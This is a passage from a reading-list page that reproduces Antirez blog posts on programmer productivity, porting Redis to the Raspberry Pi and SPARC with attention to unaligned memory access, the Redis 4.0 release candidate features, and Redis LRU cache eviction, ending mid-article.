Reading

A reading list from the RSS feeds I follow (happy to get good recommendations)

See my feeds.yaml.

Antirez

• The mythical 10x programmer
  Feb 28, 2017

  A 10x programmer is, in the mythology of programming, a programmer that can do ten times the work of another normal programmer, where for normal programmer we can imagine one good at doing its work, but without the magical abilities of the 10x programmer. Actually to better characterize the “normal programmer” it is better to say that it represents the one having the average programming output, among the programmers that are professionals in this discipline. The programming community is extremely polarized about the existence or not of such a beast: who says there is no such a thing as the 10x programmer, who says it actually does not just exist, but there are even 100x programmers if you know where to look for. If you see programming as a “linear” discipline, it is clear that the 10x programmer looks like an irrational possibility. How can a runner run 10x faster than another one? Or a construction worker build 10x the things another worker can build in the same time? However programming is a design discipline, in a very special way. Even when a programmer does not participate in the actual architectural design of a program, the act of implementing it still requires a sub-design of the implementation strategy. So if the design and implementation of a program are not linear abilities, things like experience, coding abilities, knowledge, recognition of useless parts, are, in my opinion, not just linear advantages, they work together in a multiplicative way in the act of creating a program. Of course this phenomenon happens much more when a programmer can both handle the design and the implementation of a program. The more “goal oriented” is the task, the more a potential 10x programmer can exploit her/his abilities in order to reach the goal with a lot less efforts. When the task at hand is much more rigid, with specific guidelines about what tools to use and how to implement things, the ability of a 10x programmer to perform a lot of work in less time is weakened: it can still exploit “local” design possibilities to do a much better work, but cannot change in more profound ways the path used to reach the goal, that may include, possibly, even eliminating part of the specification completely from the project, so that the goal to be reached looks almost the same but the efforts to reach it are reduced by a big factor. In twenty years of working as a programmer I observed other programmers working with me, as coworkers, guided by me in order to reach a given goal, providing patches to Redis and other projects. At the same time many people told me that they believe I’m a very fast programmer. Considering I’m far from being a workaholic, I’ll also use myself as a reference of coding things fast. The following is a list of qualities that I believe make the most difference in programmers productivity. * Bare programming abilities: getting sub-tasks done One of the most obvious limits, or strengths, of a programmer is to deal with the sub-task of actually implementing part of a program: a function, an algorithm or whatever. Surprisingly the ability to use basic imperative programming constructs very efficiently in order to implement something is, in my experience, not as widespread as one may think. In a team sometimes I observed very incompetent programmers, that were not even aware of a simple sorting algorithm, to get more work done than graduated programmers that were in theory extremely competent but very poor in the practice of implementing solutions. * Experience: pattern matching By experience I mean the set of already explored solutions for a number of recurring tasks. An experienced programmer eventually knows how to deal with a variety of sub tasks. This avoids both a lot of design work, but especially, is an extremely powerful weapon against design errors, that are in turn among the biggest enemies of simplicity. * Focus: actual time VS hypothetical time The number of hours spent writing code is irrelevant without looking at the quality of the time. Lack of focus can be generated by internal and external factors. Internal factors are procrastination, lack of interest in the project at hand (you can’t be good doing things you do not love), lack of exercise / well-being, poor or little sleeping. External factors are frequent meetings, work environments without actual offices, coworkers interrupting often and so forth. It seems natural that trying to improve focus and to reduce interruptions is going to have a non marginal effect on the programming productivity. Sometimes in order to gain focus, extreme measures are needed. For instance I only read emails from time to time and do not reply to most of them. * Design sacrifice: killing 5% to get 90% Often complexity is generated when there is no willingness to recognized that a non fundamental goal of a project is accounting for a very large amount of design complexity, or is making another more important goal very hard to reach, because there is a design tension among a fundamental feature and a non fundamental one. It is very important for a designer to recognize all the parts of a design that are not easy wins, that is, there is no proportionality between the effort and the advantages. A project that is executed in order to maximize the output, is going to focus exactly on the aspects that matter and that can be implemented in a reasonable amount of time. For example when designing Disque, a message broker, at some point I realized that by providing just best-effort ordering for the messages, all the other aspects of the project could be substantially improved: availability, query language and clients interaction, simplicity and performances. * Simplicity This is an obvious point that means all and nothing. In order to understand what simplicity is, it is worth to check how complexity is often generated. I believe that the two main drivers of complexity are the unwillingness to perform design sacrifices, and the accumulation of errors in the design activity. If you think at the design process, each time a wrong path is pursued, we get more and more far from the optimal solution. An initial design error, in the wrong hands, will not generate a re-design of the same system, but will lead to the design of another complex solution in order to cope with the initial error. The project, thus, becomes more complex and less efficient at every wrong step. The way simplicity can be achieved is to reason in terms of small metal “proof of concepts”, so that a large amount of simple designs can be explored in the mind of the programmer, to start working from something that looks the most viable and direct solution. Later, experience and personal design abilities will allow to improve the design and find sensible solutions for the sub-designs that need to be resolved. However each time a complex solution is needed, it’s important to reason for a long time about how the complexity can be avoided, and only continue in that direction if no better possibility is found even considering completely different alternatives. * Perfectionism, or how to kill your productivity and bias your designs Perfectionism comes in two variants: an engineering culture of reaching the best possible measurable performance in a program, and as a personality trait. In both the instances, I see this as one of the biggest barriers for a programmer to deliver things fast. Perfectionism and fear of external judice insert a designing bias that will result in poor choices in order to refine a design only according to psychological or trivially measurable parameters, where things like robustness, simplicity, ability to deliver in time, are often never accounted for. * Knowledge: some theory is going to help When dealing with complex tasks, knowledge about data structures, fundamental limits of computation, non trivial algorithms that are very suitable to model certain tasks, are going to have an impact in the ability to find a suitable design. To be a super expert of everything is not required, but to be at least aware of a multitude of potential solutions for a problem certainly is. For instance applying design sacrifice (accept some error percentage) and being aware of probabilistic set cardinality estimators, can be combined together in order to avoid a complex, slow and memory inefficient solution in order to count unique items in a stream. * Low level: understanding the machine A number of issues in programs, even when using high level languages, arise from the misunderstanding of how the computer is going to perform a given task. This may even lead to the need of re-designing and re-implementing again from scratch a project because there is a fundamental problem in the tools or algorithms used. Good competence of C, the understanding of how CPUs work and clear ideas about how the kernel operates and how system calls are implemented, can save from bad late-stage surprises. * Debugging skills It is very easy to spend an enormous amount of work in order to find bugs. The sum of being good at gaining state about a bug, incrementally, in order to fix it with a rational set of steps, and the attitude of writing simple code that is unlikely to contain too many bugs, can have a great effect on the programmer efficiency. It is no surprising to me to see how the above qualities of a programmer can have a 10x impact on the output. Combined they allow for good implementations of designs that start from a viable model and can be several times simpler than alternatives. There is a way to stress simplicity that I like to call “opportunistic programming”. Basically at every development step, the set of features to implement is chosen in order to have the maximum impact on the user base of the program, with the minimum requirement of efforts. Comments

• Redis on the Raspberry Pi: adventures in unaligned lands
  Feb 24, 2017

  After 10 million of units sold, and practically an endless set of different applications and auxiliary devices, like sensors and displays, I think it’s deserved to say that the Raspberry Pi is not just a success, it also became one of the preferred platforms for programmers to experiment in the embedded space. Probably with things like the Pi zero, it is also becoming the platform in order to create hardware products, without incurring all the risks and costs of designing, building, and writing software for vertical devices. Well, I love to think that also Redis is a platform that programmers like to use when to hack, experiment, build new things. Moreover devices that can be used for embedded / IoT applications, often have the problem of temporarily or permanently storing data, for example received by sensors, on the device, to perform on-device computations or to send them to remote servers. Redis is adding a “Stream” data type that is specifically suited for streams of data and time series storage, at this point the specification is near complete and work to implement it will start in the next weeks. Redis existing data structures, and the new streams, together with the small memory footprint, the decent performances it can provide even while running on small hardware (and resulting low energy usage), looked like a good match for Raspberry Pi potential applications, and in general for small ARM devices. The missing piece was the obvious one: to run well on the Pi. One of the many cool things about the Pi is that its development environment does not look like the embedded development environments of a few years ago… It just runs Linux, with all the Debian-alike tooling you expect to find. Basically adapting Redis to work on the Pi was not a huge task. The most fundamental mismatch a Linux system program and the Pi could have, is a performance / footprint mismatch, but this a non issue because of the Redis design itself: an empty instance consumes a total of 1MB of Resident Set Size, serves queries from memory, so it is fast enough and does not stress the flash disk too much, and when persistence is needed, it uses AOF which has an append-only write pattern. However the Pi runs an ARM processor, and this requires some care when dealing with unaligned accesses. In this blog post, while showing you what I did to make Redis and Raspberry Pi more happy together, I’ll try to provide an overview about dealing with architectures that do not handle unaligned accesses transparently as the x86 platform does. A few things about ARM processors — The most interesting thing about porting Redis to ARM is that ARM processors are, or actually were… well, not big fans of unaligned memory accesses. If you live your life in high level programming, you may not know it, but many processor architectures were historically not able to load or store memory words in addresses not multiple of the word size. So if the word size is 4 bytes (in the case of a 32 bit processor), you may load or store a word at address 0x4, 0x8, and so forth, but not at address 0x7. The result is an exception sometimes, or an odd behavior some other time, depending on the CPU and its exact configuration. Then the x86 processors family ruled the world and everybody kinda forgot about this issue (if not for dealing with SEE instructions and alike, but now even those instructions have unaligned variants). Oh well, initially forgetting about the issue is not really what happened. Even if x86 processors could deal with unaligned accesses without raising an exception, doing so was a non trivial performance penalty: partial reads/writes at word boundary required to do the double of the work. But then recent x86 processors have optimizations that make unaligned accesses as fast as aligned accesses most of the times, so basically nowadays for x86 this is really Not An Issue. ARM was, up to ARM v5, one of that platforms where unaligned accesses caused strange results, and very unexpected ones, actually. From the ARM official documentation: “if the address is not a multiple of four, the LDR instruction returns a rotated result rather than performing a true unaligned word load. Generally, this rotation is not what the programmer expects.” Oh well *definitely* not what the programmer expects. However even the original Raspberry Pi had an ARM v6 processor. The v6, while incurring into performance penalty, is able to deal with word-sized unaligned accesses. However instructions that deal with multiple words will raise an exception, terminating the program with a signal bus, or asking for help by the kernel (as we’ll see later in more details). This means that Redis would not crash like crap immediately when running on the Pi, because most of the unaligned accesses performed by Redis were actually word-sized. However, from time to time, the compiler generated code to speedup the computation using multiple load/store instructions, or the Redis code itself tried to load/store 64 bit values from unaligned accesses. This normally would result into a crash, in theory, however Linux helps a bit in this regard. Instead of crashing, ask the kernel! — The Linux kernel, when running on an ARM processor, is able to help user processes to work as expected even when they execute operations on unaligned addresses that are normally not supported by the CPU. The way this is performed is by registering an handler inside the kernel for such exceptions: the kernel will check the operation that failed, and will simulate it in a function, so that the final result is like if the processor executed it, and then will resume the “offending” process that will continue to run. If you are into low level programming, this Linux kernel file is worth checking: http://lxr.free-electrons.com/source/arch/arm/mm/alignment.c The actual behavior of the kernel when an unaligned access exception is raised by the CPU, is controlled by the file /proc/cpu/alignment: $ cat /proc/cpu/alignment User: 0 System: 12590 (ip6_datagram_recv_common_ctl+0xc8/0xd4 [ipv6]) Skipped: 0 Half: 0 Word: 0 DWord: 0 Multi: 12590 User faults: 2 (fixup) As you can see there are separated counters for all the unaligned accesses that were corrected by the kernel, both in user space and in kernel space. In the above case 12590 accesses where corrected in kernel space. No user land process was corrected. Note that the “User faults” line shows the kernel configuration about what to do when an user space process performs an unaligned access that the CPU cannot handle: it can fix the problem, send a SIGBUS, or log the even in the kernel logs. This is controlled by single bits of an integer that can be written into /proc/cpu/alignment, so for instance in order to log (other than fix) user space unaligned accesses one can use “echo 3 > /proc/cpu/alignment” (bit 1 enables logging, bit 2 enables fixing). My feeling is that the Linux kernel enabled such a feature not much since the kernel developers were concerned with the poor user space programmers that were not able to deal with unaligned memory accesses, but because the kernel itself does not always performs unaligned accesses as you can see from the “System” counter. So this was the simplest way to fix the Linux port on ARM instead of checking every single place of the code. Given that Linux handles this transparently, one could be tempted to say, oh well… maybe there is nothing to fix here, Redis will just work as expected as long as we set /proc/cpu/alignment to fix things transparently. Actually this is not the case for two reasons: 1. When an unaligned access is performed and fixed by the kernel, this results in *very* slow execution. The speed penalty is much larger than, for example, the second memory access needed when doing unaligned work-sized accesses. While this only happens with multiple loads and stores instructions, it is still a shame that in certain conditions Redis would be much slower than needed. 2. The Linux kernel implementation of ARM misaligned accesses is not perfect. There is code that GCC will emit that contains instructions that are not handled well by Linux 4.4.34. A trivial example is this one: $ #include int main(int argc, char **argv) { int count = 1000; char *buf = malloc(count*sizeof(double)); double sum = 0; double *l = (double*) (buf+1); while(count--) { l++; sum += *l; } return 0; } $ gcc foo.c -g -ggdb $ ./a.out Bus error Even if the kernel configuration in my Pi is set to deal with unaligned accesses and fix them, still the program received a SIGBUS! Let’s see where this happens with GDB: $ gdb ./a.out (gdb) run Program received signal SIGBUS, Bus error. 0x00010484 in main (argc=1, argv=0xbefff3b4) at foo.c:10 10 sum += *l; Well it’s in the inner loop when our non aligned double pointer is deferenced, as expected. But we may want to check further what’s happening, checking the ARM instruction that generated the exception: (gdb) x/i $pc => 0x10484 : vldr d6, [r11, #-20] ; 0xffffffec The VLDR instruction is used in order to load an extension register from a memory location, and is used for floating point math. For some reason the Linux kernel implementation of unaligned accesses correction, is not able to handle this instruction (I guess the implementation is just not complete as it should). The “dmesg” command will indeed show that the instruction was not recognized by the function that fixes the unaligned accesses: [317778.925569] Alignment trap: not handling instruction ed937b00 at [] [317778.925610] Unhandled fault: alignment exception (0x011) at 0x01cb8011 So, if the default C compiler in the Pi could emit code that the default Linux kernel could not handle, I really wanted Redis to be able to run without issues even when the kernel is configured for not fixing the unaligned accesses. This means that Redis on ARM should only perform word-sized unaligned accesses, the only ones that the CPU can handle transparently. Fixing the bugs — Given that ARM deals well with most unaligned memory accesses, Redis appeared to be already working on the Pi, mostly. Especially since by default the kernel is configured to fix many of the unaligned accesses that are not supported. Even with the alignment fixing disabled, it still superficially worked. However running the tests revealed different crashes, especially in obvious areas like bit operations and hash functions. The first thing now Redis does is to define USE_ALIGNED_ACCESS when compiled into architectures that don’t support unaligned accesses. Then it was just a matter of fixing the code in order to avoid the fast paths where unaligned accesses where performed, or replacing the pointers deferencing with memcpy() operations. You may think that using memcpy() is ways slower than deferencing a pointer, but things are much better than that: for a fixed size mecpy call like memcpy(src,dst,sizeof(uint64_t)) the compiler is smart enough to avoid calling the function. It will actually generate the fastest set of instructions that will do the trick even if the address is not aligned. For instance, in x86 processors, this function call will actually be translated into a single MOV instruction. After those fixes Redis and my two Raspberries, one original model B, and a much faster Pi 3, started to be great friends: all tests passing, but one about generating call traces in crash reports (but I’m going to fix this one as well), and from time to time a few failures in the integration tests due to the slowness of the Pi to setup masters and slaves setups. However at this point my appetite for correctness was stimulated, I wanted some more alignment problems. Let’s go the extra mile: SPARC — While I was working at fixing Redis for ARM, there was a parallel issue open in the Github repository about making Redis run well on Solaris/SPARC. Now SPARC is not as gentle as ARM, it is not able to deal with *any* unaligned access. I remembered this very well as during my first years of C programming I bought a very old SPARC station 4: big endian and not able to deal with unaligned accesses of any kind at the same time, it gave me some perspective on porting programs around. It’s a shame that after a few months of having it I spilled vodka on it, frying the motherboard forever, but I still have it in my parent’s house. Solaris/SPARC deals with unaligned accesses are more complex than Linux/ARM: 32 bit unaligned accesses are always fixed by the kernel, while 64 bit unaligned accesses are handled by registering an user space trap, according to the compilation flags. The Sun Studio C compiler has specific options to control what happens in a very precise way, and even tools in order to easily detect and fix such unaligned accesses. If non-word sized unaligned accesses were rare in Redis, you could expect word-sized unaligned accesses to be everywhere. But actually it was not the case, since up to Redis 3.0 I used to test and fix Redis with an OpenBSD/SPARC box from time to time. So the biggest problem was the function to hash keys. The original Redis string library, called SDS, had a fixed sized header, so accesses were always aligned while hashing keys. Starting with Redis 3.2 the SDS header is variable in size, so this is no longer the case. Moreover there were other new unaligned accesses here and there accumulated since the last time I tested Redis on SPARC a few years ago. To fix the hash function I also switched to SipHash, so this is also a security fix for HashDoS attacks. However it’s worth to note that I’m currently using a SipHash variant with reduced number of C and D rounds: SipHash1-2. This was made in order to avoid an otherwise non trivial speed regression, however there should not be practical attacks against SipHash1-2 AFAIK, and anyway is for sure more secure than what we previously used, Murmurhash2, that is so weak in that regard that’s possible to generate seed-independent collisions. The SipHash implementation I’m using is the reference one, modified a bit in order to simplify the code and to have a case insensitive variant. It is designed in order to deal with unaligned accesses, and to be endian agnostic. The first time I see a well written reference implementation of an hash function perhaps… The other SPARC fixes were greatly simplified by a kind Redis user that provided me with a Solaris/SPARC access. In the process of fixing the unaligned accesses I also tried to fix building and testing Redis in Solaris/SPARC, so this was a good portability improvement exercise in general. After this task was completed, Redis is finally “alignment safe” at least for the stand alone code. There is more work to do in the Cluster area. Performances of Redis in the Raspberry Pi — Ok, back to the Pi :-) How fast is Redis running on such small hardware? Well, as there are more than one Pi model out there, there are multiple answers for this question. Redis on the Pi 3 is surprisingly fast. My benchmarks are performed via the loopback interface because Redis on the Pi will be mostly intended for local programs to write data to it, or to use it as a message bus for both IPC and for cloud-edge exchange of information (for cloud here I mean the central servers of an appliance, and for edge the local installation of an appliance). However it also runs well when accessed via the ethernet port. On the Pi3, I get this numbers: Test 1 : 5 millions writes with 1 million keys (even distribution among keys). No persistence, no pipelining. 28000 ops/sec. Test 2: Like test 1 but with pipelining using groups of 8 operations: 80000 ops/sec. Test 3: Like test 1 but with AOF enabled, fsync 1 sec: 23000 ops/sec Test 4: Like test 3, but with an AOF rewrite in progress: 21000 ops/sec Basically Redis on the Pi 3 looks fast enough for any use case. Consider that Redis is mostly single threaded, or double-threaded when it rewrites the AOF log, since there is another background process, so you can expect the above performances while, at the same time, other processes are running on the Pi. Bottom line is: the numbers does not mean we are saturating the Pi. With the original model B things are *quite* different, those numbers are much lower, like 2000 ops/sec non pipelined, and 15000 ops/sec when pipelining is used. This huge gap looks to hint at very inefficient handling of syscalls like write and read that require a context switch. However they are still good enough numbers for most applications, since Redis is not going to serve external clients most of the times, and because when there is high-load data logging needed to be performed, pipelining is often simple to implement. However right now I don’t have one of the most interesting (other than the Pi 3) devices to test, which is the Pi zero. It will be interesting to see the numbers that it can deliver. They should be better than the Model B I’m using. Pi continuity — One thing I love about Redis running well on the Pi is that I’m excited about Raspberry to become, with things like the Pi zero, potentially the to-go platform for IoT products. I mean even finished products intended for the final user. I can’t stop thinking what I would like to do in the hardware space if I had time: sensors, displays, the GPIO port, and the very low price make it possible to build an hardware startup in a much simpler way compared to the past, and I love the idea that hackers around the world could now ship smart appliances of different kinds. I want to be somewhat part of this, even if marginally, providing a good Redis experience in the Pi (and in the future with Android and other ARM based systems). Redis has a good combination of low resource needs, append-only operations and data model suitable for both logging and in-device analysis of the data, in order to take actions based on historical events, so I really believe it can help in this space. So starting from now the Raspberry Pi is for me one of the main target platforms for Redis, like the Linux servers originally were set as the Redis “standard”. In the next weeks I’ll continue with the fixes, that will all go into Redis 4.0. At the same time I’ll write a new section in the Redis official site with all the informations about Redis and the Pi: benchmarks in the different devices, good practices, and so forth. Maybe in the future I’ll be also able to release proof of concept “agents” in order to use Redis as a data bus between the IoT devices and the cloud, allowing the device to just log data inside Redis, with the agent taking care of moving the data on the cloud when the link with the outside world works, and at the same time fetching commands for the device to execute and sending back replies. This will be even more interesting when the stream data structure will be available in Redis 4.2. I would love hearing about applications where you see Redis going to help in embedded setups, and what I could do in order to make it better in this regard. Comments

• The first release candidate of Redis 4.0 is out
  Dec 02, 2016

  It’s not yet stable but it’s soon to become, and comes with a long list of things that will make Redis more useful for we users: finally Redis 4.0 Release Candidate 1 is here, and is bold enough to call itself 4.0 instead of 3.4. For me semantic versioning is not a thing, what I like instead is try to communicate, using version numbers and jumps, what’s up with the new version, and in this specific case 4.0 means “this is the shit”. It’s just that Redis 4.0 has a lot of things that Redis should have had since ages, in a different world where one developer can, like Ken The Warrior, duplicate itself in ten copies and start to code. But it does not matter how hard I try to learn about new vim shortcuts, still the duplicate-me thing is not in my chords. But well, finally with 4.0 we got a lot of these stuff done… and here is the list of the big ones, with a few details and pointers to learn more. 1. Modules As you probably already know Redis 4.0 got a modules system, and one that allows to do pretty fancy stuff like implementing new data types that are RDB/AOF persisted, create non blocking commands and so forth. The deal here is that all this is done with an higher level abstract API completely separated from the core, so the modules you write are going to work with new releases of Redis. Using modules I wrote Neural Redis, a neural network data type that can be trained inside Redis itself, and many people are doing very interesting stuff: there are new rate limiting commands (implemented in Rust!), Graph DBs on top of Redis, secondary indexes, time series modules, full text indexing, and a number of other stuff, and my feeling is that’s just the start. This does not just allow Redis to grow and cover new things, while taking the core, if not minimal, just with things that are useful to most users at least, pretty generic things that many people need. But also has the potential to avoid for many tasks the problem of rewriting a networked server, even if the goal is to create something not related to Redis, databases, caching, or whatever Redis is. That is, you can just write a module to use the Redis “infrastructure”: the protocol, the clients people already wrote and so forth. So I’ve a good feeling about it, no pressure for the core, freedom for the users that want to do more crazy stuff. 2. Replication version 2 So, that’s going to be very useful in production from the POV of operations. At some point in the past we introduced what is known as “PSYNC”. It was a new master-slave protocol that allowed the master and the salve to continue from where they were, if the connection between the two broke. Before that, every single connection break in the replication link between master and slave would result into a full synchronization: generate an RDB file in the master, transfer it, load it in the slave, ok you know how this works. So PSYNC was like a real improvement. But not enough… PSYNC was not good enough when there was a failover. If a slave is promoted to master, the slaves that replicated with the old master were not able to connect to the new promoted slave and PSYNC with it: a full resynchronization was needed. This is not great, and is not good for Redis Cluster as well. However fixing this required to do changes to the replication protocol, because I really wanted to make sure that partial resyncs where going to work after any possible topology change, as long as there was a common replication history among the instances. So the first change needed was about how “chained replication” works, that is, slaves of slaves of slaves … How do they work? Like, A is the master, and we have something like that: A —> B —> C —> D So A is the master of B but B is the master of C and so forth. Before Redis 4.0 what was happening is that B received the replication protocol from A. The replication protocol is, normally, a stream of write commands. B acted as a master for C just doing, internally, what A was doing: at every write it was generating again a suitable replication protocol to pass to C, and so forth. Now instead B just proxies, verbatim, what it receives from A to C, and C will do the same for D: given that all the sub slaves now receive an identical stream of bytes, they can “tag” a given history, and use the tag and the offset to always try to continue if they have something in common. The master itself, when it is turned into a slave, is now able to PSYNC with the new master. And slaves can usually PSYNC with the master even after a “clean” restart, using the info inside the RDB file, that now stores the replication tags and offsets. Details are more complex than that, in order to make it working well, but well the deal here is, don’t be annoyed by full resynchronizations if possible. And PSYNC v2 does this well apparently. Please try it and let me know if you are interested in this feature. 3. Cache eviction improvements Ok about that I wrote a full article months ago: http://antirez.com/news/109. So going to give you just the TLDR. We now have LFU (Last Frequently Used), and all the other policies switched to a more robust, fast and precise implementation. So big news for caching use cases. Read the full article if you care about this stuff, there are tons of infos. 4. Non blocking DEL and FLUSHALL/FLUSHDB. Code name “lazy freeing of objects”, but it’s a lame name for a neat feature. There is a new command called UNLINK that just deletes a key reference in the database, and does the actual clean up of the allocations in a separated thread, so if you use UNLINK instead of DEL against a huge key the server will not block. And even better with the ASYNC options of FLUSHALL and FLUSHDB you can do that for whole DBs or for all the data inside the instance, if you want. Combined with the new SWAPDB command, that swaps two Redis databases content, FLUSHDB ASYNC can be quite interesting. Once you, for instance, populated DB 1 with the new version of the data, you can SWAPDB 0 1 and FLUSHDB ASYNC the database with the old data, and create yet a newer version and reiterate. This is only possible now because flushing a whole DB is no longer blocking. There are reasons why UNLINK is not the default for DEL. I know things… I can’t talk (**). 5. Mixed RDB-AOF persistence format. Optionally, if you enable it, now AOF rewrites are performed by prefixing the AOF file with an RDB file, which is both faster to generate and to load. This is going to be very useful in certain environments, but makes the AOF file a less transparent file, so it’s an optional thing for now. This feature was talked for ages and finally is “in”. 6. The new MEMORY command. I love it, as much as I loved LATENCY DOCTOR that once introduced cut the percentage of “My Redis is slow” complains in the mailing list to a minor fraction. Now we have it for the memory issues as well. 127.0.0.1:6379> MEMORY DOCTOR Hi Sam, this instance is empty or is using very little memory, my issues detector can't be used in these conditions. Please, leave for your mission on Earth and fill it with some data. The new Sam and I will be back to our programming as soon as I finished rebooting. Movie rights owners will probably sue me for taking inspirations of sci-fi dialogues but that’s fine. Bring oranges for me when I’ll be in jail. MEMORY does a lot more than that. 127.0.0.1:6379> MEMORY HELP 1) "MEMORY USAGE [SAMPLES ] - Estimate memory usage of key" 2) "MEMORY STATS - Show memory usage details" 3) "MEMORY PURGE - Ask the allocator to release memory" 4) "MEMORY MALLOC-STATS - Show allocator internal stats" The memory usage reporting of the USAGE subcommand is going to be very useful, but also the in depth informations provided by “STATS”. For now all this is totally not documented, so have fun figuring out what the heck it does. 7. Redis Cluster is now NAT / Docker compatible. But this is actually a bad news too, because the binary protocol changed in the “Cluster bus” thing nodes use to communicate, so to upgrade to 4.0 you need a mass reboot of Redis Cluster. I’m sorry I was tricked into this NAT / Docker fixes, pardon me. And I tried to make it backward compatible but there was no way to obtain this easily, or even non easily, without doing totally awkward stuff. The feature is explained in the example redis.conf file. You can’t see how I’m a bit less excited about this feature compared to the other ones, don’t you? Well… that’s it I guess, those are the major things. If you want also read the release notes here: https://raw.githubusercontent.com/antirez/redis/4.0/00-RELEASENOTES ETA to get it stable is as usually unknown: I plan to release a new RC every 2-4 weeks more or less. As bugs slow down significantly both from the point of view of severity and frequency of reporting, it will be Redis 4.0-final time. However there is a lot of doc to update as well, so I’ll have plenty of things to do. Many thanks to all the people that contributed to this release: a lot did in significant ways. In the release note above there is the list of all the commits that you can scan in order to see the names of the committers. Thanks to the Redis community and Redis Labs for making all this possible, but especially thanks to all the developers that use Redis and apply it well in every day problems to get shit done, because this is the whole point, other than having fun while coding. P.s. faster way to grab the new code is to fetch the '4.0' branch from Github. Repository is as usually antirez/redis. ** Check https://news.ycombinator.com/item?id=13091370 for more info about UNLINK not being the default behavior for DEL. Comments

• Random notes on improving the Redis LRU algorithm
  Jul 29, 2016

  Redis is often used for caching, in a setup where a fixed maximum memory to use is specified. When new data arrives, we need to make space by removing old data. The efficiency of Redis as a cache is related to how good decisions it makes about what data to evict: deleting data that is going to be needed soon is a poor strategy, while deleting data that is unlikely to be requested again is a good one. In other terms every cache has an hits/misses ratio, which is, in qualitative terms, just the percentage of read queries that the cache is able to serve. Accesses to the keys of a cache are not distributed evenly among the data set in most workloads. Often a small percentage of keys get a very large percentage of all the accesses. Moreover the access pattern often changes over time, which means that as time passes certain keys that were very requested may no longer be accessed often, and conversely, keys that once were not popular may turn into the most accessed keys. So in general what a cache should try to do is to retain the keys that have the highest probability of being accessed in the future. From the point of view of an eviction policy (the policy used to make space to allow new data to enter) this translates into the contrary: the key with the least probability of being accessed in the future should be removed from the data set. There is only one problem: Redis and other caches are not able to predict the future. The LRU algorithm === While caches can’t predict the future, they can reason in the following way: keys that are likely to be requested again are keys that were recently requested often. Since usually access patterns don’t change very suddenly, this is an effective strategy. However the notion of “recently requested often” is more insidious that it may look at a first glance (we’ll return shortly on this). So this concept is simplified into an algorithm that is called LRU, which instead just tracks the *last time* a key was requested. Keys that are accessed with an higher frequency have a greater probability of being idle (not accessed) for a shorter time compared to keys that are rarely accessed. For instance this is a representation of four different keys accesses over time. Each “~” character is one second, while the “|” line at the end is the current instant. ~~~~~A~~~~~A~~~~~A~~~~A~~~~~A~~~~~A~~| ~~B~~B~~B~~B~~B~~B~~B~~B~~B~~B~~B~~B~| ~~~~~~~~~~C~~~~~~~~~C~~~~~~~~~C~~~~~~| ~~~~~D~~~~~~~~~~D~~~~~~~~~D~~~~~~~~~D| Key A is accessed one time every 5 seconds, key B once every 2 seconds and key C and D are both accessed every 10 seconds. Given the high frequency of accesses of key B, it has among the lowest idle times, which means its last access time is the second most recent among all the four keys. Similarly A and C idle time of 2 and 6 seconds well reflect the access frequency of both those keys. However as you can see this trick does not always work: key D is accessed every 10 seconds, however it has the most recent access time of all the keys. Still, in the long run, this algorithm works well enough. Usually keys with a greater access frequency have a smaller idle time. The LRU algorithm evicts the Least Recently Used key, which means the one with the greatest idle time. It is simple to implement because all we need to do is to track the last time a given key was accessed, or sometimes this is not even needed: we may just have all the objects we want to evict linked in a linked list. When an object is accessed we move it to the top of the list. When we want to evict objects, we evict from the tail of the list. Tada! Win. LRU in Redis: the genesis === Initially Redis had no support for LRU eviction. It was added later, when memory efficiency was a big concern. By modifying a bit the Redis Object structure I was able to make 24 bits of space. There was no room for linking the objects in a linked list (fat pointers!), moreover the implementation needed to be efficient, since the server performance should not drop too much because of the selection of the key to evict. The 24 bits in the object are enough to store the least significant bits of the current unix time in seconds. This representation, called “LRU clock” inside the source code of Redis, takes 194 days to overflow. Keys metadata are updated much often, so this was good enough. However there was another more complex problem to solve, how to select the key with the greatest idle time in order to evict it? The Redis key space is represented via a flat hash table. To add another data structure to take this metadata was not an option, however since LRU is itself an approximation of what we want to achieve, what about approximating LRU itself? The initial Redis algorithm was as simple as that: when there is to evict a key, select 3 random keys, and evict the one with the highest idle time. Basically we do random sampling over the key space and evict the key that happens to be the better. Later this “3 random keys” was turned into a configurable “N random keys” and the algorithm speed was improved so that the default was raised to 5 keys sampling without losing performances. Considering how naive it was, it worked well, very well actually. If you think at it, you always never do the best decision with this algorithm, but is very unlikely to do a very bad decision too. If there is a subset of very frequently accessed keys in the data set, out of 5 keys it is hard to be so unlucky to only sample keys with a very short idle time. However if you think at this algorithm *across* its executions, you can see how we are trashing a lot of interesting data. Maybe when sampling the N keys, we encounter a lot of good candidates, but we then just evict the best, and start from scratch again the next cycle. First rule of Fight Club is: observe your algorithms with naked eyes === At some point I was in the middle of working at the upcoming Redis 3.0 release. Redis 2.8 was actively used as an LRU cache in multiple environments, and people didn’t complained too much about the precision of the eviction in Redis, but it was clear that it could be improved even without using a noticeable amount of additional CPU time, and not a single bit of additional space. However in order to improve something, you have to look at it. There are different ways to look at LRU algorithms. You can write, for example, tools that simulate different workloads, and check the hit/miss ratio at the end. This is what I did, however the hit/miss ratio depends a lot on the access pattern, so additionally to this information I wrote an utility that actually displayed the algorithm quality in a visual way. The program was very simple: it added a given number of keys, then accessed the keys sequentially so that each had a decreasing idle time. Finally 50% more keys were added (the green ones in the picture), so that half of the old keys needed to be evicted. In a perfect LRU implementation no key from the new added keys are evicted, and the initial 50% of the old dataset is evicted. This is the representation produced by the program for different versions of Redis and different settings: http://redis.io/images/redisdoc/lru_comparison.png When looking at the graph remember that the implementation we discussed so far is the one of Redis 2.8. The improvement you see in Redis 3.0 is explained in the next section. LRU V2: don’t trash away important information === With the new visual tool, I was able to try new approaches and test them in a matter of minutes. The most obvious way to improve the vanilla algorithm used by Redis was to accumulate the otherwise trashed information in a “pool” of good candidates for eviction. Basically when the N keys sampling was performed, it was used to populate a larger pool of keys (just 16 keys by default). This pool has the keys sorted by idle time, so new keys only enter the pool when they have an idle time greater than one key in the pool or when there is empty space in the pool. This small change improved the performances of the algorithm dramatically as you can see in the image I linked above and the implementation was not so complex. A couple memmove() here and there and a few profiling efforts, but I don’t remember major bugs in this area. At the same time, a new redis-cli mode to test the LRU precision was added (see the —lru-test option), so I had another way to check the performances of the LRU code with a power-law access pattern. This tool was used to validate with a different test that the new algorithm worked better with a more real-world-ish workload. It also uses pipelining and displays the accesses per second, so can be used in order to benchmark different implementations, at least to check obvious speed regressions. Least Frequently Used === The reason I’m writing this blog post right now is because a couple of days ago I worked at a partial reimplementation and to different improvements to the Redis cache eviction code. Everything started from an open issue: when you have multiple databases with Redis 3.2, the algorithm evicts making local choices. So if for example you have all keys with a small idle time in DB number 0, and all keys with large idle time in DB number 1, 